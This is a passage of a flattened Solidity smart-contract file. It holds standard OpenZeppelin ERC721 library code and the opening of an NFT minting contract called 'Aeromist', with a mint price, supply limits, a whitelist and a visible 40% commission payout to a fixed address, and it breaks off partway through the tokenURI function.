function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract Aeromist is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string baseExtension = ".json";
string notRevealedUri;
uint256 public cost = 0.06 ether;
uint256 public maxSupply = 250;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimit = 10;
bool public paused = false;
bool public revealed = true;
bool public onlyWhitelisted = false;
address payable commissions = payable(0x619708a880A255F82c3b47b1A5e83AB2d217602b);
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
(bool success, ) = payable(commissions).call{value: msg.value * 40 / 100}("");
require(success);
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
